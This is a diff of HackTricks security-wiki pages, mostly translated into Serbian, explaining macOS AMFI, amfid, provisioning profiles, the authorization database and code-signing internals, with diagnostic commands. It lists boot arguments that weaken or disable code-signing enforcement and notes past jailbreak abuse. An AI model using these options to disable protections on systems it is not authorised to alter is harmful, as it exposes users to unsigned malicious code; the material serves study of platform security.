Ako ste zainteresovani za **hacking karijeru** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisano i govorno poljski_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -148,7 +148,7 @@ Učite i vežbajte GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Podelite hacking trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -0,0 +1,155 @@
# macOS - AMFI - AppleMobileFileIntegrity
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## AppleMobileFileIntegrity.kext i amfid
Fokusira se na sprovođenje integriteta koda koji se izvršava na sistemu, pružajući logiku iza verifikacije potpisa koda XNU. Takođe može da proveri prava i obavlja druge osetljive zadatke kao što su omogućavanje debagovanja ili dobijanje portova zadataka.
Štaviše, za neke operacije, kext preferira da kontaktira korisnički prostor koji pokreće demon `/usr/libexec/amfid`. Ova poverljiva veza je zloupotrebljena u nekoliko jailbreak-ova.
AMFI koristi **MACF** politike i registruje svoje hook-ove u trenutku kada se pokrene. Takođe, sprečavanje njegovog učitavanja ili pražnjenja može izazvati kernel panic. Međutim, postoje neki argumenti za pokretanje koji omogućavaju oslabiti AMFI:
* `amfi_unrestricted_task_for_pid`: Dozvoljava task\_for\_pid bez potrebnih prava
* `amfi_allow_any_signature`: Dozvoljava bilo koji potpis koda
* `cs_enforcement_disable`: Argument na sistemskom nivou koji se koristi za onemogućavanje sprovođenja potpisa koda
* `amfi_prevent_old_entitled_platform_binaries`: Poništava platforme binarne sa pravima
* `amfi_get_out_of_my_way`: Potpuno onemogućava amfi
Ovo su neke od MACF politika koje registruje:
* **`cred_check_label_update_execve:`** Ažuriranje oznake će biti izvršeno i vratiće 1
* **`cred_label_associate`**: Ažurira AMFI-ovu mac oznaku
* **`cred_label_destroy`**: Uklanja AMFI-ovu mac oznaku
* **`cred_label_init`**: Postavlja 0 u AMFI-ovu mac oznaku
* **`cred_label_update_execve`:** Proverava prava procesa da vidi da li bi trebalo da mu bude dozvoljeno da menja oznake.
* **`file_check_mmap`:** Proverava da li mmap stiče memoriju i postavlja je kao izvršivu. U tom slučaju proverava da li je potrebna validacija biblioteke i, ako jeste, poziva funkciju za validaciju biblioteke.
* **`file_check_library_validation`**: Poziva funkciju za validaciju biblioteke koja proverava, između ostalog, da li platforma binarna učitava drugu platformu binarnu ili da li proces i novo učitani fajl imaju isti TeamID. Određena prava će takođe omogućiti učitavanje bilo koje biblioteke.
* **`policy_initbsd`**: Postavlja poverljive NVRAM ključeve
* **`policy_syscall`**: Proverava DYLD politike kao što su da li binarna ima neograničene segmente, da li bi trebalo da dozvoli env varijable... ovo se takođe poziva kada se proces pokreće putem `amfi_check_dyld_policy_self()`.
* **`proc_check_inherit_ipc_ports`**: Proverava da li kada proces izvršava novu binarnu, drugi procesi sa SEND pravima nad portom zadatka procesa treba da ih zadrže ili ne. Platforme binarne su dozvoljene, `get-task-allow` pravo to dozvoljava, `task_for_pid-allow` prava su dozvoljena i binarne sa istim TeamID.
* **`proc_check_expose_task`**: sprovodi prava
* **`amfi_exc_action_check_exception_send`**: Poruka izuzetka se šalje debageru
* **`amfi_exc_action_label_associate & amfi_exc_action_label_copy/populate & amfi_exc_action_label_destroy & amfi_exc_action_label_init & amfi_exc_action_label_update`**: Ciklus života oznake tokom obrade izuzetaka (debugging)
* **`proc_check_get_task`**: Proverava prava kao što su `get-task-allow` koja omogućava drugim procesima da dobiju portove zadataka i `task_for_pid-allow`, koja omogućava procesu da dobije portove zadataka drugih procesa. Ako nijedno od toga nije, poziva `amfid permitunrestricteddebugging` da proveri da li je dozvoljeno.
* **`proc_check_mprotect`**: Odbija ako je `mprotect` pozvan sa oznakom `VM_PROT_TRUSTED` koja ukazuje da region mora biti tretiran kao da ima validan potpis koda.
* **`vnode_check_exec`**: Poziva se kada se izvršne datoteke učitavaju u memoriju i postavlja `cs_hard | cs_kill` što će ubiti proces ako neka od stranica postane nevažeća
* **`vnode_check_getextattr`**: MacOS: Proverava `com.apple.root.installed` i `isVnodeQuarantined()`
* **`vnode_check_setextattr`**: Kao get + com.apple.private.allow-bless i interno-instalater-ekvivalentno pravo
* &#x20;**`vnode_check_signature`**: Kod koji poziva XNU da proveri potpis koda koristeći prava, trust cache i `amfid`
* &#x20;**`proc_check_run_cs_invalid`**: Presreće `ptrace()` pozive (`PT_ATTACH` i `PT_TRACE_ME`). Proverava za bilo koje od prava `get-task-allow`, `run-invalid-allow` i `run-unsigned-code` i ako nijedno, proverava da li je debagovanje dozvoljeno.
* **`proc_check_map_anon`**: Ako je mmap pozvan sa oznakom **`MAP_JIT`**, AMFI će proveriti za `dynamic-codesigning` pravo.
`AMFI.kext` takođe izlaže API za druge kernel ekstenzije, i moguće je pronaći njegove zavisnosti sa:
```bash
kextstat | grep " 19 " | cut -c2-5,50- | cut -d '(' -f1
Executing: /usr/bin/kmutil showloaded
No variant specified, falling back to release
8 com.apple.kec.corecrypto
19 com.apple.driver.AppleMobileFileIntegrity
22 com.apple.security.sandbox
24 com.apple.AppleSystemPolicy
67 com.apple.iokit.IOUSBHostFamily
70 com.apple.driver.AppleUSBTDM
71 com.apple.driver.AppleSEPKeyStore
74 com.apple.iokit.EndpointSecurity
81 com.apple.iokit.IOUserEthernet
101 com.apple.iokit.IO80211Family
102 com.apple.driver.AppleBCMWLANCore
118 com.apple.driver.AppleEmbeddedUSBHost
134 com.apple.iokit.IOGPUFamily
135 com.apple.AGXG13X
137 com.apple.iokit.IOMobileGraphicsFamily
138 com.apple.iokit.IOMobileGraphicsFamily-DCP
162 com.apple.iokit.IONVMeFamily
```
## amfid
Ovo je demon koji se pokreće u korisničkom režimu i koji `AMFI.kext` koristi za proveru potpisa koda u korisničkom režimu.\
Da bi `AMFI.kext` komunicirao sa demonom, koristi mach poruke preko porta `HOST_AMFID_PORT`, koji je poseban port `18`.
Napomena: u macOS-u više nije moguće da root procesi preuzmu posebne portove jer su zaštićeni `SIP`-om i samo launchd može da ih dobije. U iOS-u se proverava da proces koji šalje odgovor ima hardkodovani CDHash `amfid`.
Moguće je videti kada se `amfid` traži da proveri binarni fajl i odgovor na to tako što se debaguje i postavi breakpoint u `mach_msg`.
Kada se poruka primi putem posebnog porta, **MIG** se koristi za slanje svake funkcije funkciji koju poziva. Glavne funkcije su obrnute i objašnjene unutar knjige.
## Provisioning Profiles
Provisioning profil se može koristiti za potpisivanje koda. Postoje **Developer** profili koji se mogu koristiti za potpisivanje koda i njegovo testiranje, i **Enterprise** profili koji se mogu koristiti na svim uređajima.
Nakon što je aplikacija poslata u Apple Store, ako je odobrena, potpisuje je Apple i provisioning profil više nije potreban.
Profil obično koristi ekstenziju `.mobileprovision` ili `.provisionprofile` i može se dumpovati sa:
```bash
openssl asn1parse -inform der -in /path/to/profile
# Or
security cms -D -i /path/to/profile
```
Iako se ponekad nazivaju sertifikovanim, ovi profili za dodeljivanje imaju više od sertifikata:
* **AppIDName:** Identifikator aplikacije
* **AppleInternalProfile**: Oznaka da je ovo Apple interni profil
* **ApplicationIdentifierPrefix**: Prependovan AppIDName (isto kao TeamIdentifier)
* **CreationDate**: Datum u formatu `YYYY-MM-DDTHH:mm:ssZ`
* **DeveloperCertificates**: Niz (obično jedan) sertifikat(a), kodiran kao Base64 podaci
* **Entitlements**: Prava dozvoljena sa pravima za ovaj profil
* **ExpirationDate**: Datum isteka u formatu `YYYY-MM-DDTHH:mm:ssZ`
* **Name**: Ime aplikacije, isto kao AppIDName
* **ProvisionedDevices**: Niz (za sertifikate programera) UDID-ova za koje je ovaj profil važeći
* **ProvisionsAllDevices**: Boolean (true za preduzetničke sertifikate)
* **TeamIdentifier**: Niz (obično jedan) alfanumerički string(ovi) korišćeni za identifikaciju programera u svrhe interakcije između aplikacija
* **TeamName**: Ime koje je lako čitljivo i koristi se za identifikaciju programera
* **TimeToLive**: Važenje (u danima) sertifikata
* **UUID**: Univerzalno jedinstveni identifikator za ovaj profil
* **Version**: Trenutno postavljeno na 1
Napomena da će unos prava sadržati ograničen skup prava i profil za dodeljivanje će moći da dodeli samo ta specifična prava kako bi se sprečilo davanje privatnih prava Apple-u.
Napomena da se profili obično nalaze u `/var/MobileDeviceProvisioningProfiles` i moguće je proveriti ih sa **`security cms -D -i /path/to/profile`**
## **libmis.dyld**
Ovo je spoljašnja biblioteka koju `amfid` poziva kako bi pitao da li treba da dozvoli nešto ili ne. Ovo je istorijski zloupotrebljavano u jailbreak-u pokretanjem verzije sa backdoor-om koja bi dozvolila sve.
U macOS-u ovo je unutar `MobileDevice.framework`.
## AMFI Trust Caches
iOS AMFI održava listu poznatih hash-eva koji su potpisani ad-hoc, nazvanu **Trust Cache** i nalazi se u `__TEXT.__const` sekciji kext-a. Napomena da je u vrlo specifičnim i osetljivim operacijama moguće proširiti ovu Trust Cache sa spoljnim fajlom.
## References
* [**\*OS Internals Volume III**](https://newosxbook.com/home.html)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -0,0 +1,112 @@
# macOS Authorizations DB & Authd
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **Athorizarions DB**
Baza podataka smeštena u `/var/db/auth.db` je baza podataka koja se koristi za čuvanje dozvola za obavljanje osetljivih operacija. Ove operacije se obavljaju potpuno u **korisničkom prostoru** i obično ih koriste **XPC servisi** koji treba da provere **da li je pozivajući klijent ovlašćen** da izvrši određenu radnju proverom ove baze podataka.
U početku, ova baza podataka se kreira iz sadržaja `/System/Library/Security/authorization.plist`. Zatim, neki servisi mogu dodati ili izmeniti ovu bazu podataka kako bi dodali druge dozvole.
Pravila se čuvaju u `rules` tabeli unutar baze podataka i sadrže sledeće kolone:
* **id**: Jedinstveni identifikator za svako pravilo, automatski se povećava i služi kao primarni ključ.
* **name**: Jedinstveno ime pravila koje se koristi za identifikaciju i referenciranje unutar sistema autorizacije.
* **type**: Određuje tip pravila, ograničeno na vrednosti 1 ili 2 za definisanje njegove logike autorizacije.
* **class**: Kategorizuje pravilo u određenu klasu, osiguravajući da je pozitivni ceo broj.
* "allow" za dozvolu, "deny" za odbijanje, "user" ako grupna svojstva ukazuju na grupu članstvo koje omogućava pristup, "rule" ukazuje u nizu na pravilo koje treba ispuniti, "evaluate-mechanisms" praćeno nizom `mechanisms` koji su ili ugrađeni ili naziv paketa unutar `/System/Library/CoreServices/SecurityAgentPlugins/` ili /Library/Security//SecurityAgentPlugins
* **group**: Ukazuje na korisničku grupu povezanu sa pravilom za autorizaciju zasnovanu na grupi.
* **kofn**: Predstavlja "k-of-n" parametar, određujući koliko podpravila mora biti ispunjeno od ukupnog broja.
* **timeout**: Definiše trajanje u sekundama pre nego što autorizacija koju dodeljuje pravilo istekne.
* **flags**: Sadrži razne oznake koje modifikuju ponašanje i karakteristike pravila.
* **tries**: Ograničava broj dozvoljenih pokušaja autorizacije radi poboljšanja bezbednosti.
* **version**: Prati verziju pravila za kontrolu verzija i ažuriranja.
* **created**: Beleži vremensku oznaku kada je pravilo kreirano u svrhe revizije.
* **modified**: Čuva vremensku oznaku poslednje izmene izvršene na pravilu.
* **hash**: Drži hash vrednost pravila kako bi se osigurala njegova celovitost i otkrila manipulacija.
* **identifier**: Pruža jedinstveni string identifikator, kao što je UUID, za spoljne reference na pravilo.
* **requirement**: Sadrži serijalizovane podatke koji definišu specifične zahteve i mehanizme autorizacije pravila.
* **comment**: Nudi opis ili komentar o pravilu koji je razumljiv ljudima za dokumentaciju i jasnoću.
### Example
```bash
# List by name and comments
sudo sqlite3 /var/db/auth.db "select name, comment from rules"
# Get rules for com.apple.tcc.util.admin
security authorizationdb read com.apple.tcc.util.admin
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>class</key>
<string>rule</string>
<key>comment</key>
<string>For modification of TCC settings.</string>
<key>created</key>
<real>701369782.01043606</real>
<key>modified</key>
<real>701369782.01043606</real>
<key>rule</key>
<array>
<string>authenticate-admin-nonshared</string>
</array>
<key>version</key>
<integer>0</integer>
</dict>
</plist>
```
Osim toga, na [https://www.dssw.co.uk/reference/authorization-rights/authenticate-admin-nonshared/](https://www.dssw.co.uk/reference/authorization-rights/authenticate-admin-nonshared/) moguće je videti značenje `authenticate-admin-nonshared`:
```json
{
'allow-root' : 'false',
'authenticate-user' : 'true',
'class' : 'user',
'comment' : 'Authenticate as an administrator.',
'group' : 'admin',
'session-owner' : 'false',
'shared' : 'false',
'timeout' : '30',
'tries' : '10000',
'version' : '1'
}
```
## Authd
To je demon koji prima zahteve za autorizaciju klijenata da izvrše osetljive radnje. Radi kao XPC servis definisan unutar `XPCServices/` foldera i koristi da piše svoje logove u `/var/log/authd.log`.
Pored toga, korišćenjem bezbednosnog alata moguće je testirati mnoge `Security.framework` API-je. Na primer, `AuthorizationExecuteWithPrivileges` se pokreće: `security execute-with-privileges /bin/ls`
To će fork-ovati i izvršiti `/usr/libexec/security_authtrampoline /bin/ls` kao root, što će tražiti dozvole u promptu da izvrši ls kao root:
<figure><img src="../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -6,11 +6,11 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
<details>
<summary>Support HackTricks</summary>
<summary>Podrška HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}
@ -19,9 +19,9 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
Mach-o binarni fajlovi sadrže komandu za učitavanje pod nazivom **`LC_CODE_SIGNATURE`** koja označava **offset** i **veličinu** potpisa unutar binarnog fajla. U stvari, koristeći GUI alat MachOView, moguće je pronaći na kraju binarnog fajla sekciju pod nazivom **Code Signature** sa ovom informacijom:
<figure><img src="../../../.gitbook/assets/image.png" alt="" width="431"><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1).png" alt="" width="431"><figcaption></figcaption></figure>
Magični zaglavlje Potpisa Koda je **`0xFADE0CC0`**. Zatim imate informacije kao što su dužina i broj blobova superBlob-a koji ih sadrže.\
Magični header Code Signature je **`0xFADE0CC0`**. Zatim imate informacije kao što su dužina i broj blobova superBlob-a koji ih sadrže.\
Moguće je pronaći ove informacije u [izvoru ovde](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L276):
```c
/*
@ -118,8 +118,8 @@ Napomena da postoje različite verzije ove strukture gde starije mogu sadržati
## Stranice za potpisivanje koda
Hashovanje celog binarnog fajla bi bilo neefikasno i čak beskorisno ako je učitan samo delimično u memoriji. Stoga, potpis koda je zapravo hash hash-eva gde je svaka binarna stranica hash-ovana pojedinačno.\
U stvari, u prethodnom **Direktorijumu koda** možete videti da je **veličina stranice specificirana** u jednom od njegovih polja. Štaviše, ako veličina binarnog fajla nije višekratnik veličine stranice, polje **CodeLimit** specificira gde je kraj potpisa.
Hashovanje celog binarnog fajla bi bilo neefikasno i čak beskorisno ako je učitan u memoriju samo delimično. Stoga, potpis koda je zapravo hash hash-eva gde je svaka binarna stranica hash-ovana pojedinačno.\
U stvari, u prethodnom **Direktorijumu koda** možete videti da je **veličina stranice navedena** u jednom od njegovih polja. Štaviše, ako veličina binarnog fajla nije višekratnik veličine stranice, polje **CodeLimit** specificira gde je kraj potpisa.
```bash
# Get all hashes of /bin/ps
codesign -d -vvvvvv /bin/ps
@ -163,7 +163,7 @@ Napomena da aplikacije mogu sadržati **entitlement blob** gde su svi entitlemen
MacOS aplikacije nemaju sve što im je potrebno za izvršavanje unutar binarnog fajla, već koriste i **spoljne resurse** (obično unutar aplikacionog **bundle**). Stoga, postoje neki slotovi unutar binarnog fajla koji će sadržati hashove nekih interesantnih spoljašnjih resursa kako bi se proverilo da nisu modifikovani.
U stvari, moguće je videti u strukturi Code Directory parametar nazvan **`nSpecialSlots`** koji označava broj posebnih slotova. Ne postoji poseban slot 0, a najčešći (od -1 do -6) su:
U stvari, moguće je videti u strukturi Code Directory parametar pod nazivom **`nSpecialSlots`** koji označava broj posebnih slotova. Ne postoji poseban slot 0, a najčešći (od -1 do -6) su:
* Hash `info.plist` (ili onaj unutar `__TEXT.__info__plist`).
* Hash Zahteva
@ -220,11 +220,11 @@ CS_RESTRICT | CS_ENFORCEMENT | CS_REQUIRE_LV | CS_RUNTIME | CS_LINKER_SIGNED)
#define CS_ENTITLEMENT_FLAGS (CS_GET_TASK_ALLOW | CS_INSTALLER | CS_DATAVAULT_CONTROLLER | CS_NVRAM_UNRESTRICTED)
```
Note that the function [**exec\_mach\_imgact**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern\_exec.c#L1420) can also add the `CS_EXEC_*` flags dynamically when starting the execution.
Note that the function [**exec\_mach\_imgact**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern\_exec.c#L1420) može takođe dinamički dodati `CS_EXEC_*` zastavice prilikom pokretanja izvršavanja.
## Zahtevi za potpisivanje koda
Svaka aplikacija čuva neke **zahteve** koje mora **ispuniti** da bi mogla da se izvrši. Ako **aplikacija sadrži zahteve koji nisu ispunjeni**, neće biti izvršena (jer je verovatno izmenjena).
Svaka aplikacija čuva neke **zahteve** koje mora **ispuniti** da bi mogla da se izvrši. Ako **aplikacija sadrži zahteve koji nisu ispunjeni od strane aplikacije**, neće biti izvršena (jer je verovatno izmenjena).
Zahtevi binarnog fajla koriste **posebnu gramatiku** koja je niz **izraza** i kodirani su kao blobovi koristeći `0xfade0c00` kao magični broj čiji je **hash sačuvan u posebnom slotu za kod**.
@ -312,7 +312,7 @@ Moguće je pristupiti ovim informacijama i kreirati ili modifikovati zahteve pom
## `cs_blobs` & `cs_blob`
[**cs\_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc\_internal.h#L106) struktura sadrži informacije o dozvoli pokrenutog procesa na njemu. `csb_platform_binary` takođe obaveštava da li je aplikacija platforma binarni (što OS proverava u različitim momentima da bi primenio bezbednosne mehanizme kao što su zaštita SEND prava na portovima zadataka ovih procesa).
[**cs\_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc\_internal.h#L106) struktura sadrži informacije o dozvoli pokrenutog procesa na njemu. `csb_platform_binary` takođe obaveštava da li je aplikacija platformni binarni (što OS proverava u različitim momentima da bi primenio bezbednosne mehanizme kao što su zaštita SEND prava na portovima zadataka ovih procesa).
```c
struct cs_blob {
struct cs_blob *csb_next;
@ -381,7 +381,7 @@ Učite i vežbajte GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt
<details>
<summary>Podržite HackTricks</summary>
<summary>Podrška HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -1,8 +1,8 @@
# macOS Gatekeeper / Quarantine / XProtect
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -25,7 +25,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
Ključni mehanizam Gatekeeper-a leži u njegovom **procesu verifikacije**. Proverava da li je preuzeti softver **potpisan od strane priznatog programera**, osiguravajući autentičnost softvera. Pored toga, utvrđuje da li je softver **notarisan od strane Apple-a**, potvrđujući da je bez poznatog zlonamernog sadržaja i da nije menjan nakon notarizacije.
Pored toga, Gatekeeper jača kontrolu i bezbednost korisnika tako što **traži od korisnika da odobri otvaranje** preuzetog softvera prvi put. Ova zaštita pomaže u sprečavanju korisnika da nenamerno pokrenu potencijalno štetan izvršni kod koji su mogli zamisliti kao bezopasan podatkovni fajl.
Pored toga, Gatekeeper jača kontrolu i bezbednost korisnika tako što **traži od korisnika da odobre otvaranje** preuzetog softvera prvi put. Ova zaštita pomaže u sprečavanju korisnika da nenamerno pokrenu potencijalno štetan izvršni kod koji su mogli zamisliti kao bezopasan podatkovni fajl.
### Application Signatures
@ -35,9 +35,9 @@ Evo kako to funkcioniše:
1. **Potpisivanje aplikacije:** Kada je programer spreman da distribuira svoju aplikaciju, on **potpisuje aplikaciju koristeći privatni ključ**. Ovaj privatni ključ je povezan sa **sertifikatom koji Apple izdaje programeru** kada se upiše u Apple Developer Program. Proces potpisivanja uključuje kreiranje kriptografskog haša svih delova aplikacije i enkriptovanje ovog haša privatnim ključem programera.
2. **Distribucija aplikacije:** Potpisana aplikacija se zatim distribuira korisnicima zajedno sa sertifikatom programera, koji sadrži odgovarajući javni ključ.
3. **Verifikacija aplikacije:** Kada korisnik preuzme i pokuša da pokrene aplikaciju, njihov Mac operativni sistem koristi javni ključ iz sertifikata programera da dekriptuje haš. Zatim ponovo izračunava haš na osnovu trenutnog stanja aplikacije i upoređuje ga sa dekriptovanim hašem. Ako se poklapaju, to znači da **aplikacija nije modifikovana** od kada ju je programer potpisao, i sistem dozvoljava pokretanje aplikacije.
3. **Verifikacija aplikacije:** Kada korisnik preuzme i pokuša da pokrene aplikaciju, njihov Mac operativni sistem koristi javni ključ iz sertifikata programera da dekriptuje haš. Zatim ponovo izračunava haš na osnovu trenutnog stanja aplikacije i upoređuje ga sa dekriptovanim hašem. Ako se poklapaju, to znači da **aplikacija nije modifikovana** od kada ju je programer potpisao, i sistem dozvoljava aplikaciji da se pokrene.
Potpisi aplikacija su esencijalni deo Apple-ove Gatekeeper tehnologije. Kada korisnik pokuša da **otvori aplikaciju preuzetu sa interneta**, Gatekeeper verifikuje potpis aplikacije. Ako je potpisana sertifikatom koji je Apple izdao poznatom programeru i kod nije menjan, Gatekeeper dozvoljava pokretanje aplikacije. U suprotnom, blokira aplikaciju i obaveštava korisnika.
Potpisi aplikacija su esencijalni deo Apple-ove Gatekeeper tehnologije. Kada korisnik pokuša da **otvori aplikaciju preuzetu sa interneta**, Gatekeeper verifikuje potpis aplikacije. Ako je potpisana sertifikatom koji je Apple izdao poznatom programeru i kod nije menjan, Gatekeeper dozvoljava aplikaciji da se pokrene. U suprotnom, blokira aplikaciju i obaveštava korisnika.
Počevši od macOS Catalina, **Gatekeeper takođe proverava da li je aplikacija notarizovana** od strane Apple-a, dodajući dodatni sloj bezbednosti. Proces notarizacije proverava aplikaciju na poznate bezbednosne probleme i zlonamerni kod, i ako ove provere prođu, Apple dodaje tiket aplikaciji koji Gatekeeper može da verifikuje.
@ -60,19 +60,21 @@ spctl --assess --verbose /Applications/Safari.app
# Sign a binary
codesign -s <cert-name-keychain> toolsdemo
```
### Notarization
### Notarizacija
Apple-ov proces notarizacije služi kao dodatna zaštita za korisnike od potencijalno štetnog softvera. Uključuje **razvijanje aplikacije od strane programera** za **Apple-ovu Notarizaciju**, što se ne sme mešati sa pregledom aplikacija. Ova usluga je **automatski sistem** koji pažljivo ispituje dostavljeni softver na prisustvo **malicioznog sadržaja** i bilo kakvih potencijalnih problema sa potpisivanjem koda.
